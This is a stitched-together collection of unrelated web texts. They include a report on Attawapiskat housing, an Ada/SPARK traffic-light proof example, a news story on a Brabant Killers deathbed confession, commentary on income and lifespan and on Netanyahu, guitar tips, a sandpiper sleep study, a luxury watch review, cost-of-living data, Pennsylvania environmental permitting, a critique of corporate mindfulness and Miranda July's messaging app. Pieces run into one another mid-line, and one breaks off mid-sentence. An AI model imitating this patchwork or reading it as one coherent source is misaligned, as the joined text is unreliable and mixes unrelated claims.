She said she doesn't want to see her grandchildren spend a third winter in a tent frame.
Chief Theresa Spence said about half of the houses need major renovations or are condemned. ((Allison Dempster/CBC))
About 1,800 people live in Attawapiskat. There are 303 houses on the reserve. That's roughly six people to a house.
Chief Theresa Spence said about half of the houses need major renovations or are condemned.
The problems include sewage leaks, leaky rooves, and mold.
But people still live in the houses — or next to them — in shacks.
Multi-million dollar proposition
"When you're living in a small room with kids, it [has a] social impact," she said.
"You don't have your own kitchen, your own fridge, you have to share with everybody, you have to wait for your shower."
Spence figures the community needs 200 houses, which is a multi-million dollar proposition.
For now, she's asked the federal Department of Aboriginal Affairs for $400,000 to renovate 15 houses.
There has been no word from the government on whether it will grant the funding.We will try to demonstrate the new functionality through an example. For the sake of this example we will implement a simple traffic light and prove some of its functional behaviour. The functional behaviour that we will attempt to prove is that no pedestrians will be run over by vehicles (provided that drivers and pedestrians are aware of the traffic light's conventions and respect the signals). The system does not cater for suicidal behaviour or reckless driving. Other functional properties, like the sequence in which traffic lights alternate or the duration of each state of the traffic light, have not been proven. Given that this example was written in less than an hour I would advice against reusing the code in a real life traffic light system. :)
-- For the sake of this example the lights go as follows: -- -- Vehicles Pedestrians -- -- Green Red -- Yellow Red -- Red Green -- Red and Yellow Red -- -- and over and over they go.. with Ada.Real_Time; use Ada.Real_Time; package Traffic_Lights is protected Traffic_Light is function Valid_Combination return Boolean; entry Change_Lights with Post => Valid_Combination; procedure Check_Time; private -- The following holds the time when the last state change occurred. Last_State_Change : Time := Time_First; -- The following is a boolean flag that indicates whether or not the -- time has arrived to change the state of the traffic light. Change_State : Boolean := False; -- The following variables represent the actual lights of the traffic -- light. There are three lights for vehicles and two for pedestrians. -- When a variable is True the corresponding light is On. When a -- variable is False the corresponding light is Off. Vehicles_Green : Boolean := False; Vehicles_Yellow : Boolean := False; Vehicles_Red : Boolean := True; Pedestrians_Green : Boolean := True; Pedestrians_Red : Boolean := False; end Traffic_Light; task Check_The_Time; -- This task determines when it's time to change the traffic light. task Change_The_Lights; -- This task is periodically notified to change the traffic light. end Traffic_Lights; package body Traffic_Lights is protected body Traffic_Light is function Valid_Combination return Boolean is (if Vehicles_Green then not Vehicles_Yellow and not Vehicles_Red and not Pedestrians_Green and Pedestrians_Red elsif Pedestrians_Green then not Vehicles_Green and not Vehicles_Yellow and Vehicles_Red and not Pedestrians_Red else not Pedestrians_Green and Pedestrians_Red); entry Change_Lights when Change_State is begin pragma Assume (Valid_Combination); if Vehicles_Green then pragma Assert (not Vehicles_Red and not Pedestrians_Green and Pedestrians_Red); Vehicles_Green := False; Vehicles_Yellow := True; elsif Vehicles_Yellow and not Vehicles_Red then pragma Assert (not Vehicles_Green); Vehicles_Yellow := False; Vehicles_Red := True; Pedestrians_Green := True; Pedestrians_Red := False; elsif Vehicles_Red and not Vehicles_Yellow then pragma Assert (not Vehicles_Green and Vehicles_Red); Vehicles_Yellow := True; Pedestrians_Green := False; Pedestrians_Red := True; elsif Vehicles_Red and Vehicles_Yellow then pragma Assert (not Pedestrians_Green and Pedestrians_Red); Vehicles_Green := True; Vehicles_Yellow := False; Vehicles_Red := False; end if; Change_State := False; Last_State_Change := Clock; end Change_Lights; procedure Check_Time is Wait_Duration : constant Time_Span := (if Vehicles_Yellow then -- States that involve a yellow vehicle light only last 2 -- seconds. Seconds (2) else -- All other states last 15 seconds. Seconds (15)); begin if Clock - Last_State_Change >= Wait_Duration then -- We have waited enough. It is time for a state change... Change_State := True; end if; end Check_Time; end Traffic_Light; task body Check_The_Time is begin loop Traffic_Light.Check_Time; end loop; end Check_The_Time; task body Change_The_Lights is begin loop Traffic_Light.Change_Lights; end loop; end Change_The_Lights; end Traffic_Lights;
Writing the main subprogram is now easy, all we need to do is with the above package so that we trigger its elaboration. Our main will then wait for the tasks to terminate before it exits. That waiting will last until the end of time. Literally, because once Ada.Real_Time.Time reaches its maximum value pedestrians will have a problem, but by then we will no longer be around to assume the blame so all is good... :P
with Traffic_Lights; use Traffic_Lights; procedure Let_There_Be_Traffic_Light is begin -- Dummy main that just waits forever for the tasks of Traffic_Lights to -- terminate. null; end Let_There_Be_Traffic_Light;
The output of the tools on the above example is:
traffic_lights.adb:25:13: info: assertion proved traffic_lights.adb:32:13: info: assertion proved traffic_lights.adb:39:13: info: assertion proved traffic_lights.adb:46:13: info: assertion proved traffic_lights.ads:19:22: info: postcondition proved traffic_lights.ads:32:09: info: nontermination of task proved traffic_lights.ads:36:09: info: nontermination of task provedThis photo taken on September 27, 1985 shows the body of a man killed during an hold-up at the Delhaize supermarket in in Overijse, Flanders near Brussels, by the Brabant Killers (Picture: AFP/Getty Images)
A policeman confessed on his deathbed that he was the notorious leader of a deadly Belgian gang.
Before he died, the officer told his shocked brother that he was one of the ‘Crazy Brabant Killers’ that killed 28 people in a string of robberies in the 1980s.
Officials on Monday confirmed reports that detectives have been working on a new lead for months, and were optimistic about finally identifying the group, which is also called the Nivelles Gang.
The gang’s bloody, three-year spree has long fuelled conspiracy theories involving right-wing plots and official cover-ups during the Cold War era.
The photo-fit released at the time showing ‘The Giant’ (Picture: CEN)
The man who reportedly confessed on his deathbed to being the giant, pictured years ago in a carnival costume (Picture: CEN)
It had members dubbed ‘The Giant’, ‘The Killer’, a getaway driver known as ‘The Old Man’ and possibly other accomplices.
Babysitter finally admits to suffocating her son and two other infants in 1980
The gang terrorised towns the in Brabant province around Brussels, staging more than a dozen raids – often on supermarkets, where they would gun down customers, staff and even children.
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In 1985 they burst into a shop wearing grotesque face paint and disguises before killing eight people. Then, they vanished as they had appeared three years earlier.
On the weekend a man told broadcaster VTM that his brother, a retired policeman in Aalst near Brussels, confessed as he lay dying two years ago that he was the tall suspected ringleader of the gang – the one known as ‘The Giant’.
This photo taken on November 9, 1985 shows Belgium police officers and investigators arriving at the Delhaize supermarket in Aalst, Flanders, following an attack by the gang Brabant Killers (Picture: AFP/Getty Images)
‘In the beginning I was in denial because I really struggled with it,’ the unnamed man sobbed on camera. ‘But today I can say formally that this is my brother.’
Girl, 6, begged babysitter to ask her pedophile husband to stop kissing her
Newspapers published archive photo-fits from the 1980s ‘wanted’ posters that once papered the country, along with off-duty snaps of the towering, bespectacled former special forces gendarme.
‘I hope for the relatives of hte victims that we can close this chapter soon,’ Interior Minister Jan Jambon said on Monday.
Ministers have convened investigators to review the new evidence.2. Geography: Annie Lowrey reported that the sorting of zip codes into rich and poor means you can have two counties divided by 300 miles and more than 20 years of expected life. The typical guy in McDowell County, West Virginia, makes less than $30,000 a year and doesn't live to 65. Five hours north on the highway, a typical man living in Fairfax County, Virginia, makes more than $100,000 and lives more than 80 years. The two Virginian counties are two different countries.
3. Policy: When somebody in Washington proposes raising the retirement age for Social Security or Medicare, he typically says something like: "We can afford it, because we are living longer." Yes, We can afford it, when the We in that sentence applies to an audience of white rich old men and women who really are seeing their lifespans grow by leaps and bounds. But We doesn't apply to the millions of poor women whose lifespans are actually declining. Raising the Social Security retirement age disproportionately reduces lifetime benefits for the very people Social Security was invented to protect. Jordan Weissmann and others have made this point before.
4. Morality: We know a few things about money and life. We know that market wages (pre-tax, pre-transfer) are flat-lining or falling for middle- and lower-income Americans thanks to globalization, technology, marriage- and geographical sorting, the decline of unions, and other reasons. We know that poorer Americans live shorter lives and that poorer women live shortening lives. We don't know the precise causal mechanism, but we know that the relationship is remarkably tight at every income level. We also know that the intellectual leader of one of the two major parties has repeatedly produced a budget that would cut taxes and transfers in such a way that middle- and lower-income people would necessarily suffer a loss of government-transfer income that we have little expectation to be made up in the growth of market wages. (Two-thirds of Paul Ryan's budget cuts are for income-transfer programs.) I'll leave it for you to decide, based on what we know about income and lifespans, whether a program that would necessarily make the low-income lower-income is one that deserves to be taken seriously as a moral document.Yesterday Israeli Prime Minister Benjamin Netanyahu gave a speech at the Independence Day celebration at the US embassy in Israel and announced: “It’s our celebration too.” Israel and the United States “are family,” we share values and freedom and have a common enemy: the terrorist state of Iran.
“Zionism was always about freedom… We built the State of Israel on the same democratic foundations upon which the United States was built… They [Iran’s mullahs] say, Dan [Shapiro, US ambassador], We are you and you are us. And you know something? On this, they are absolutely right. We stand with America. America stands with us… “Dan, we are family. Let me translate. We are mishpucha.”
Netanyahu traveled to that party to warn about the threat posed by Iran, but as his meetings with Art Garfunkel and Robert Kraft and Thurman Thomas and other NFL players lately showed, the guy gets a lot of American visitors for a rightwing leader whose army killed more than 500 children a year ago and whose governing coalition includes fascist strains, as even the New York Review of Books has said. His social calendar is a reminder that the two countries are joined at the hip, and shows what political capital President Obama had to spend not to meet with Netanyahu the last time he was in Washington, in March.
Last weekend, Katie Couric was endorsing him:
Around 1,200 friends of the Anti-Defamation League gathered at the Waldorf Astoria to celebrate Abe Foxman’s 50 years of service to the organization… In lieu of an Israeli government representative present, [Katie] Couric read aloud a letter from Prime Minister Netanyahu.
And when he was giving the Genesis Prize to Michael Douglas last week, and hanging out with Douglas and Catherine Zeta-Jones, Netanyahu noted he had also met with Eric Schmidt of Google the week before:
in fact last week the Chairman of Google, Eric Schmidt, visited my office and he says: Israel is number one, number one digital powerhouse in the world. I said: Eric, aren’t you exaggerating a bit? He said: No, I’ll be precise. In absolute measures that I make, you’re number two after Silicone Valley, after Cambridge, MAS and after Cambridge, England. Sorry, before Cambridge MAS, before Cambridge England. Per capita you’re way off the charts, and what you’re doing now in Israel is setting a growth engine for the next 50 years.
Michael Oren says that Netanyahu’s favorite TV show was Breaking Bad, but in February, Vanity Fair said Netanyahu is a fan of Larry David; and they have a mutual friend:
Famed lawyer Alan Dershowitz, a poker-player bud of David’s and David’s self-proclaimed “house Jew,” brought a copy of [Curb Your Enthusiasm episode] “Palestinian Chicken” to his dinner with Benjamin Netanyahu in the hopes that the Israeli prime minister would toss a bag of popcorn in the microwave, invite Mahmoud Abbas over for a viewing party. The two leaders would laugh, they’d cry, they’d braid each other’s hair, they’d realize they’re not so different after all: Bam, world peace. (Netanyahu, a fan, did watch the episode. No word on whether or not Abbas has seen it, though the recent escalation of conflict in the Middle East would indicate unh-uh.)
Oh and not an American, but an American poodle, here’s Tony Blair from late May:
Thanks to Max Blumenthal.The November 4th general election didn’t end this campaign cycle, but sparked a new round of voting.
Three sitting state senators won seats in the U.S. House of Representatives: Sens. Mark DeSaulnier, D-Walnut Creek; Steve Knight, R-Antelope Valley; and Mimi Walters, R-Irvine. They will need to resign their positions in the state Legislature sometime before Jan. 5 in order to take their places in |
chords into your mind simultaneously.
Strumming Patterns
It’s useless having chords when you don’t have any rhythms to go in combination with all of them, correct? You can begin by using rudimentary quarter note/eighth note rhythms and later develop towards sixteenth notes as well as syncopations. Practice your rhythms first over just one chord, and then begin using pairs of chords to rehearse changing them successfully. You’ll go on to learn and invent rhythm styles all through your studies.
Tuning By Ear
I didn’t place this one early on in your list since you can make use of electronic tuners to keep you tuned in the early stages. But as you get more advanced you’ll realize that many of those tuners can get you in the ball park but, unfortunately, hardly ever properly tuned. Being capable of tuning by ear can help you fine tune your guitar so that it will sound a lot better. You don’t need perfect pitch here. You’ll start out with a good reference note coming from another source and use relative pitch to tune the remainder of the guitar.
Barre Chords
When you’ve gotten all of your open chords down, you’ll start running across chords which cannot be played that way, like a C#7. Barre chords make use of all fretted notes to construct the chords. The great thing is basically that you really only need to understand eight forms here due to the fact they are portable to other regions of the neck. Make certain to learn major, minor, dominant seventh, and minor seventh voicings rooted on your fifth and sixth strings.
The reason barre chords a little bit harder is the physicality of keeping down five or six strings at the same time plus continuing to keep them all nice and clean sounding. If you run into a little bit of trouble with these chords, that’s totally normal. Just keep working at them. As a guitarist, you’ll use barre chords a whole lot.
As well, while you’re studying all of your barre chords, it is simple to learn to read the rest of the notes along the fretboard.
Pentatonic Scales
Typical music educating would have you learn major scales to begin with. But for a guitarist, pentatonic scales are generally far more instantly beneficial. Just like everything, do not attempt to master all of it right away. Start by using a elementary box pattern rooted from the sixth string. Add in subsequent patterns when you are confident with the one you are learning.
Major Scales
Same as the pentatonics, you’ll want to learn just one form at a time here. The awesome thing is that when you know a few major patterns, they can be changed a little bit to get various other interesting scales too. Always look at how a new element you’re learning relates to that old things you practiced.
Position Playing
Position playing refers to having the ability to perform melodies higher on the fretboard than the open position. Once you have got a few major and pentatonic scales beneath your fingers, the idea will not be that hard.
Minor Scales
Your minor scales are based on the major patterns that you mastered in the past. Here you will need to get to know the natural, harmonic, and melodic minors.
Extended Chords
Extended chords go beyond the old major and minor. You will need the different versions of seventh chords, diminished and augmented, ninth, eleventh, and thirteenth voicings. As you go along you’ll learn new chords you discover in pieces you are performing.
Do not forget that music is really a cumulative type of study. The more you learn, the easier it is to learn more. The building blocks you learn about early on will still be important later on whenever you’re playing more challenging pieces.
If you can make your way through all of the techniques listed above you will be ready to get into any style and any song you’d prefer with the best resources to teach yourself.Ok, I know it's not Friday Weird Science time, but this paper is both interesting science AND somewhat odd. And who can't use extra weird in their day, right?
I know that Ed has already been here before me, but I can't let this one go. I like studies on sleep, and I like studies on sex, and this has both!
Lesku et al. "Adaptive Sleep Loss in Polygynous Pectoral Sandpipers" Science, 2012.
This paper is not actually about gettin' laid. Though it IS about getting laid...but what it's really about is the purpose of sleep.
What is the purpose of sleep? After all, 8 hours a night (ish, for humans) is an awfully long time to spend unconscious and relatively defenseless. But almost all animals (all mammals and birds, definitely) that have more than a rudimentary brain do it. This leads us to think that it must really be an important thing to do. But why?
There are several hypotheses as to why we need to sleep. The one I see most often is that our brains need that relatively inactive time (though there is still a lot of activity) to perform restorative processes and promote the best brain performance. But we don't know, exactly, what the restorative processes are. We just know that animals and humans perform very badly on tasks when sleep deprived.
But there is another hypothesis. This is the hypothesis that sleep is not really all that necessary for optimal performance. Instead, sleep is a way to preserve energy when it's a better idea to be inactive. So, for example, humans might sleep at night because we're at a disadvantage in the dark and would waste energy attempting activities. Support for this hypothesis comes from the fact that sleep needs vary massively across the animal kingdom. Some animals need 14 hours (see cats), while others need just 2-3.
If this hypothesis were correct, it would stand to reason that some species would be able to dispense with sleep when their lifestyle demanded constant activity. And this is where we bring in the pectoral sandpiper.
These particular pectoral sandpipers live in the Arctic, and this means that their breeding season has an interesting peculiarity: the sun never sets. The females are most fertile during the summer, when the sun never actually sets for weeks. And while the females are fertile, the males are hard at work. They don't have anything to do with parenting, but during mating season they are defending territory, displaying to females with an inflatable chest sac, fighting off other males, and gettin' some while the gettin' is good. And this means...they don't sleep.
The authors of this study looked at the sleeping patterns in the male sandpipers, and found that while the females slept about 30% of the time, during mating season, the males reduced their sleeping to a mere 10%!
You can see there the activity levels of the birds. During mating season (yellow dates) the males birds barely slept, but post-mating (when the females were incubating eggs), their sleep increased.
So the males are going sleepless...but are they making up for it? It turns out, somewhat.
Not all males compeltely reduced sleep, the laziest slept about 7.7 hours, while the most up and at 'em had a mere 2.4! But as you can see above, those getting less sleep made up for it, a little, by sleeping deeper. The above figure shows EEG and EMG recordings, and shows that though the sleep was in shorter patches (blue), it was deeper (see the EMG line on the bottom).
And those males that slept the least definitely did the best in terms of mating. Those males who slept least fathered the most chicks, so it's definitely a good thing to stay awake.
All this going without sleep is one thing. But if sleep serves an important purpose, shouldn't the sleep deficit begin to be a major problem? Maybe the male birds who sleep the least are dying sooner? To look at this, the authors looked at how many birds returned the next year. The general number is very low (only 13 out of 640 males...in six years), but those who were the most reproductively successful had a higher return rate (about 10% higher). And the successful males were also the short sleeping ones. So it appears that the decreased sleep doesn't make for decreased lifespan.
The authors believe that their study promotes the hypothesis that sleep is not really serving an essential function, instead, it is a way to save energy when further activity wouldn't serve a purpose. While I see their point, I'm not sure that I agree with the hypothesis. The other hypothesis is that sleep serves an essential function, restoring certain functions for optimal performance. Given the major possibility of being attacked and killed in your sleep, of missing out on foraging opportunities, etc, and the major deficits in behavior that many species suffer when forced to go without it, I'm inclined to think this second hypothesis more likely. Also, while the birds observed here might support the idea that sleep is an adaptation to when you don't need to be out and about, they don't disprove the idea of sleep restoring function. These birds could be extremely unusual and specially adapted to their mating period, when the sun never sets in the Arctic, and have adaptive advantages that allow them to get away with so little sleep. And it would be really interesting to see what those advantages are! Unless of course, the birds are secretly drinking some coffee on the sly.
Lesku JA, Rattenborg NC, Valcu M, Vyssotski AL, Kuhn S, Kuemmeth F, Heidrich W, & Kempenaers B (2012). Adaptive sleep loss in polygynous pectoral sandpipers. Science (New York, N.Y.), 337 (6102), 1654-8 PMID: 22878501Last year we started with the Laurent Ferrier Tourbillon Double Spiral as our first Weekly Watch Photo and now we’d love to show you a limited edition Tourbillon Double Spiral and news about improvements on the movement of the Galet Micro Rotor.
As a special order for a customer, Laurent Ferrier made a version of the Tourbillon Double Spiral in red gold with applied red gold Roman numerals. Instead of the white enamel dial or the black onyx dial, this limited edition features a slate grey dial. In 2010 Laurent Ferrier was awarded Best Men’s Watch in the Grand Prix d’Horlogerie de Genève.
After a special version of the Tourbillon Double Spiral, the Tourbillon Double Spiral Secret, that was launched end of 2010, an entirely new model was launched at the beginning of 2011. This new version was the Galet Micro-Rotor and offers an automatic movement with a micro rotor as power source.
The case features the same aesthetics as the case of the Tourbillon Double Spiral, and also shares the same ball-shaped winding-crown and ‘assegai-shaped’ hour and minute hands, and a baton-type seconds hand. The case of the Galet Micro-Rotor measures 40 mm in diameter and is 10.7 mm thick.
The difference (at least visually) is the dial. No white enamel or black onyx dial, but the Galet Micro-Rotor is available with a silver or slate grey dial, adorned with a vertical satin-brushed finish and applied hour indices. All together an incredibly elegant and understated chic, classic dress watch. In my opinion its design is a perfect contrast with what’s ‘under the hood’. There we find a beautifully crafted and technically very interesting mechanical movement.
Let first take a look at the movement and its intricate beauty. The finishing of the movement is done in the finest watchmaking traditions, by hand of course!
Bridges are finished with Côtes de Genève stripes
Mainplate is finished with circular graining
Flanks of bridges are beveled
Wheel spokes are beveled
Screw heads are polished
Interior angles of the balance cock are beveled and polished
Micro-rotor bridge is bevelend and polished
The movement is wound with a micro-rotor, something valued by connoisseurs, because it makes it possible to reduce the thickness of the movement. Usually a micro-rotor is less efficient when it comes to winding and on average, a micro-rotor needs twice as much rotations (300 vs. 150) for one complete turn of the ratchet wheel. This is because a micro-rotor has a lower inertia than a full rotor. Laurent Ferrier found the solution in increasing the efficiency of the the escapement by one third and thus his micro-rotor needs only 200 rotation for a full turn of the ratchet wheel.
How did Laurent Ferrier increase the efficiency in the escapement?
One of the methods (yes one, read on to see more methods) was to give a double direct impulse on the balance. To keep the escapement from wear, it was made of silicon. Because of the double direct impulse direct on the balance, Laurent Ferrier was able to reduce the moment of couple (or torque) required to wind the mainspring and hence optimizes the movement winding.
What is a “double direct impulse on the balance”?
The idea is that this escapement can give two impulses per oscillation (1 oscillation = 2 vibrations), twice as much as a normal lever escapement. This means that the movement’s frequency of 3Hz (21,600 vph) allows to impulse the balance 21,600 times per hour.
Here’s a metaphor to explain the double direct impulse by comparing it with a swing. With a detent escapement you push the swing once and you wait until it bounces back to give it the next impulse. With the double direct impulse escapement you push the swing and another person opposite pushes it back on his side.
Another way to improve the efficiency in the movement, and make it possible that this micro-rotor needs only 200 rotations in comparison to other micro-rotors that need 300 rotations, is an efficient winding system where the ‘noisy’ ball-bearing system has been replaced by a more traditional horological mechanism with pawls. The micro-rotor is fitted with a unidirectional-winding gold oscillating weight.
=> Did you know that an oscillating weight that winds unidirectional, is more efficient than an oscillating weight that winds bi-directional.
The winding rotor is fixed directly between the mainplate and its micro-rotor bridge, in order to ensure maximum stability compared with a conventional micro-rotor. Furthermore the shock protection system uses the principle of the silent bloc: the micro rotor is mounted on its axis between two O-rings. Also the winding of main spring barrel is optimized in the same way, however it is mounted on rubies. Because of all these efficiency measures, the manually wound movement has a power reserve of 80 hours.
When I visited Laurent Ferrier in his atelier in Geneva recently, he showed me a prototype with a silver dial with vertical satin-brushed finish and red gold hour markers and hands. It looks great, giving the watch an extra classic touch. What do you think?
The Galet Micro-Rotor is available in white or red gold for a price of 49’000 CHF.
More information can be found via the Laurent Ferrier website.The national conversation in the U.S. is focused squarely on improving the lives of people in the working class. The debate revolves around exactly how to do that.
Politicians and pundits have all sorts of ideas, from efforts to save jobs, create tax cuts, subsidize housing, and provide universal healthcare. Thing is, people don't even agree on how to define the working class, much less how their living conditions stack up across the country. We created a data visualization to illustrate this complex situation.
howmuch.net
Each bubble represents a city. The color corresponds to the amount of money a typical working-class family would have left over at the end of the year after paying for their living costs, like housing, food and transportation. The darker the shade of red, the worse off you are. The darker the shade of green, the better off you are. The size of the bubble also fits on a sliding scale—large and dark red means the city is totally unaffordable. Bigger dark green bubbles likewise indicate a city where the working class can get by.
The data come from our new True Cost of Living Tool. It's kind of a big deal because it lets you drill down to a specific city and search through layers of relevant information to understand exactly how much money it takes to live in any given area. We stitched together a variety of different reputable sources, like the Bureau of Labor Statistics for income levels, the National Bureau of Economic Research for tax data, and the U.S. Department of Agriculture for the cost of food. Basically, you can check our work.
This map tells us several things about the working class in America. Of the ten most populous cities in the country, the only place where you can enjoy a decent standard of living without taking on debt is San Antonio. Out of the top 50 largest cities, only 12 are considered affordable. Low-wage workers are better off in smaller cities.
The geography of affordable cities is also remarkable. Newark, NJ, Chesapeake, VA and Jacksonville, FL are the only coastal locations where a worker can support his or her family. There are exactly zero affordable cities on the West Coast. Matter of fact, inexpensive locales tend to be far away from the coasts and can be found in the interior of the country. This is especially true in the southwest in states like Arizona and Texas.
So where are the best places from a financial perspective for a working-class family to live? Here are the top five cities with the net surplus remaining after living expenses:
1. Fort Worth, TX ($10,447)
2. Newark, NJ (($10,154)
3. Glendale, AZ ($10,120)
4. Gilbert, AZ ($9,760)
5. Mesa, AZ ($7,780)
Arizona dominates the list. If we were to keep going, the Grand Canyon State would take #6 and #7 too. The Sun Belt clearly has an economic advantage for workers.
The worst places for working class folks to live shouldn't surprise anyone who has been paying attention to the affordable housing crises in New York and California. Here are the five worst cities:
1. New York, NY (-$91,184)
2. San Francisco, CA (-$83,272)
3. Boston, MA (-$61,900)
4. Washington, DC (-$50,535)
5. Philadelphia, PA (-$37,850)
You read that correctly. The typical working-class family would need an additional $91K+ per year in New York City just to break even on a reasonable standard of living.
Do you think a working-class family can comfortably live in your city? You might be surprised by the results. Enter your information in our tool to find out.
Do you need more info about our data? Visit our True Cost of Living (TCL) Tool.Environmental advocates were shocked last month when Pennsylvania’s state senate approved a budget bill that would outsource Department of Environmental Protection permitting to private third parties, and create a politically appointed committee that could overrule DEP officials on matters like limiting methane emission from fracking wells.
Such provisions were meant to speed up the permitting process — and, apparently, in exchange for a new severance tax on natural gas. But critics say the rules merely sabotage the permitting process. And they say that if the problem is slow permit-approval, the main cause is years of underfunding DEP — something the new budget does nothing to fix.
The provisions were quietly tucked into a bill to balance the state’s $32 billion budget. One would require DEP to contract with “third-party licensed professionals” to process any kind of permit; applicants could actually pick their own permit-reviewer from a list of DEP-approved parties. Another new rule would create an “Air Quality Permit Advisory Committee” with veto power over DEP decisions on air emissions at fracking sites, with six of its seven members appointed by state legislators, the seventh by the governor. A third provision would deem as “approved” permit applications for unconventional oil-and-gas development which DEP had not denied within a given time frame. There’s more, including looser limits on water discharges of the neurotoxin manganese, but you get the picture.
State Rep. Greg Vitali (D-Delaware) has called the bill “the worst collection of anti-environmental legislation I have seen in a long time.” David Hess, a former DEP secretary under Republican governors Tom Ridge and Mark Schweiker, says the changes would “totally devastate DEP’s permitting program.” Hess notes that because the bill’s third-party rule has no conflict-of-interest provisions, the same person who wrote an application could review it. He adds that permitting decisions are often slow because the applications themselves are incomplete, requiring back-and-forth between DEP and the applicant.
DEP has acknowledged that its permitting can be slow, and says it is working to speed things up. But an underlying problem is budgetary. Since 2003, the annual allocation of state tax dollars for DEP has dropped nearly 40 percent, to $152 million, and increases in fines and permitting fees haven’t bridged the gap. In May, DEP Secretary Patrick McDonnell testified that in the past decade, his agency’s staffing had dropped by 754 positions, or 25 percent, with accompanying risks to public health and safety. For instance, said McDonnell, DEP is already struggling to inspect the state’s 3,400 dams.
“The agency that I left in 2003 bears no resemblance to the agency we have now,” says Hess.
Others have also taken notice of DEP’s incredibly shrinking resources. Last December, the U.S. EPA announced that DEP’s inadequate staffing could have “serious public health implications,” and even risk revocation of the state’s ability to enforce the Safe Water Drinking Act. And in May, the state’s Citizens Advisory Council warned legislators that DEP funding has reached “an unsustainable level.”
Though the budget bill’s environmental provisions echo various Republican proposals from over the years, it passed the Senate with bipartisan support and went to the House. And while he has not addressed these rule changes specifically, Gov. Tom Wolf — a champion of the gas severance tax — is expected to support the budget bill, meaning it might well become law. (Ironically, say observers, obstacles to passage include House conservatives dead set against a severance tax.)
If Wolf ultimately signs the bill, expect court battles. For example, because state law requires DEP to approve all permits, the politically appointed air-quality panel constitutes a “clearly unconstitutional” violation of separation of powers, says Hess. Adam Garber, deputy director of the nonprofit PennEnvironment, says that all the budget bill’s environmental provisions violate the state constitution’s “single-issue clause,” because they are not about balancing the budget.
Meantime, says Garber, concerned citizens can contact their state House representatives. And long term, say advocates, funding DEP so it can do the permitting and inspections it’s supposed to is crucial.
As Garber puts it, “Really they need more money to meet their basic mission.”“If you understand, things are just as they are; if you do not understand, things are just as they are.” Hsin Hsin Ming
Almost every person who walks through my practice doorway is anxious in some way. And so they should be. While their anxiety might be blasting messages at an overly high volume, the messages themselves are worth paying attention to: abusive relationships, significant losses and workplaces that have squeezed their personal, physical and spiritual lives into a corner too small for a hamster to burrow in.
Most come in hoping that the volume of their anxiety will be turned down, but many also hope that the messages themselves will go away. Like all of us, they want to find a way around having to take difficult action to change their lives. And for some of them, their hopes are pinned on our current corporatised misinterpretation of mindfulness. They’ve been sold on meditation as a simple way to bear the unbearable.
Pasteurised versions of the ancient practice of mindfulness are now big business. With Google, Target and Ford recently jumping on the corporate mindfulness bandwagon, the rebranding of mindful meditation and practice as a means to increase both productivity and compliance is now complete.
Slowing down, tuning in and radical acceptance have been molded into low-cost tools to increase our ability to speed up, tune out and drive ourselves harder than ever before.
While there can be little doubt that the practice of mindfulness can lead to significant health benefits, its current prominence in corporate culture is nested within a social, cultural and political context where stress is now seen as a failure of the individual to adapt to the productivity demands of the corporation. In other words, if you’re stressed out, you’re not working hard enough on your personal focus strategy. You’re letting the team down.
The current translations of ancient mindful practices are also highly gendered. In a culture where women are much more likely to be encouraged to apply acceptance, silence, stillness and the relinquishing of resistance to their problems, the trap of mindfulness can be set to stun for those who may be much more in need of speaking up, resisting and taking space in the workplace.
In this context, mindfulness is an ideal tool to induce compliance, with its focus on the individual management of our responses to forces we’re being told are well beyond our control.
And this is perhaps the crux of the problem of the mindless application of Buddhist meditation practice: the marketing of mindfulness as a solution to work stress and life balance rather than the complex spiritual approach to living it is meant to be.
This confusion, of what is essentially a way to exist with full awareness, with a one-size-fits-all treatment strategy for everything from depression to premature ejaculation, has placed a powerful way of life into a tiny box reserved only for the treatment of behaviours we currently see as unacceptable. Stressed at work?
Having trouble containing your grief at the office? Struggling with the uncertainty of your position during the 7th restructure in as many years? Do some mindfulness. It’ll fix not so much what ails you, but what is ailing those who depend on you. Rather than a difficult but easily accessible way to free your mind and body, mindfulness has been rebranded as a kind of gentle harness to help us heel to the corporate leg.
And the purpose of the practice has been restructured to include a hierarchy of outcomes as well.
Take a look at the current marketing of corporate mindfulness. If you’re reading an endorsement for mindfulness from one of our Captains of Industry, Jeff Weiner, for instance, you’ll hear about how he credits the practice with enhancing his success. If you’re slightly lower on the food chain, you’ll read about how you can reduce your stress and be more productive with just a few daily minutes of meditation. And if you’re even lower down the social hierarchy, a pregnant woman perhaps, you’ll be told about how mindfulness can help you be a better carer for others.
I try to meditate every day. Even to brush my teeth mindfully. To sit on the train without my phone, to breathe consciously, to watch my thoughts go by. Most practice days I spend at least some time teaching people simple mindful practices that can help to reduce their in-the-moment anxiety, calm emotions that threaten to interfere with their ability to express them and to come into the present enough to speak clearly from their hearts and minds.
This is just part of the work of taking responsibility for our lives. Mindfulness is a way of living, not a substitute for taking action. If we truly become mindful of our existence then our recurrent anxieties become not just a wave we watch pass through our minds, not something to be mastered in order to be a better servant, but a call to take action in order to be more fully alive.Miranda July in "Somebody."
Somewhere, somebody is looking for you. They are waiting at a café on Sunset Boulevard, gazing at the screen of their smartphone, anticipating the tiny ding of a bell that lets them know a message is waiting. They are using Miranda July's new iOS app Somebody, co-created with support from Miu Miu. In a modern world characterized by permascreen-gaze, Somebody offers incentive for connection in real-life and real-time, nudged along by serendipity. It's a characteristic of July's distinct creative oeuvre.
"Somebody is very related to other work I've done that elicits performance from the public and art making," says Miranda July when I reached her by phone. "I am making a script for other people to say ideally in ways that include some of their own voice and story, and provide context and impetus of that."
July launched the app on August 28 at the Venice Film Festival, accompanied by a 10-minute short movie about a few possible interactions that could happen when using the app.
Using the app, one sends their message out into the floating Somebody universe with the hopes that a person nearby will deliver it to the intended recipient. If this person is ready to receive the message, a surrogate will deliver it.
After a user downloads it, they are shown the other people from their mobile contacts -- not social media "friends" -- that have also downloaded the app.
Unlike location-based check-in apps like Foursquare, there are no badges to earn or points to receive. Somebody is not a game -- it's a public performance, and a way to connect.
iOS app Somebody.
Caroline Anderson, a 24-year-old writer, delivered and received two messages shortly after downloading the app.
"I just had one friend on the app who I work with and am pretty close to," says Anderson. "I sent her a message: 'let's get brunch.' Within the hour it had been delivered."
In moments like this, the interaction between a complete stranger delivering a personal message could be fascinating, jarring, or just plain bizarre. It's also freeing to revel in this state of not knowing whether or not the message will ever be delivered. Caroline's friend received the message; she texted Caroline later to let her know that a girl jogging by somewhere in Silver lake had dropped it off. Somebody becomes a curious mode of communication because of the way the app creates new ways to converse.
Screengrab from iOS app Somebody.
"Each messaging system elicits a new style of writing," July says. "We've all learned that when you're texting you have to use more exclamation points or people think you are mad at them, or use hashtags on Twitter. I am excited that this Somebody app is essentially scriptwriting, which most people wouldn't have a reason to do or think about."
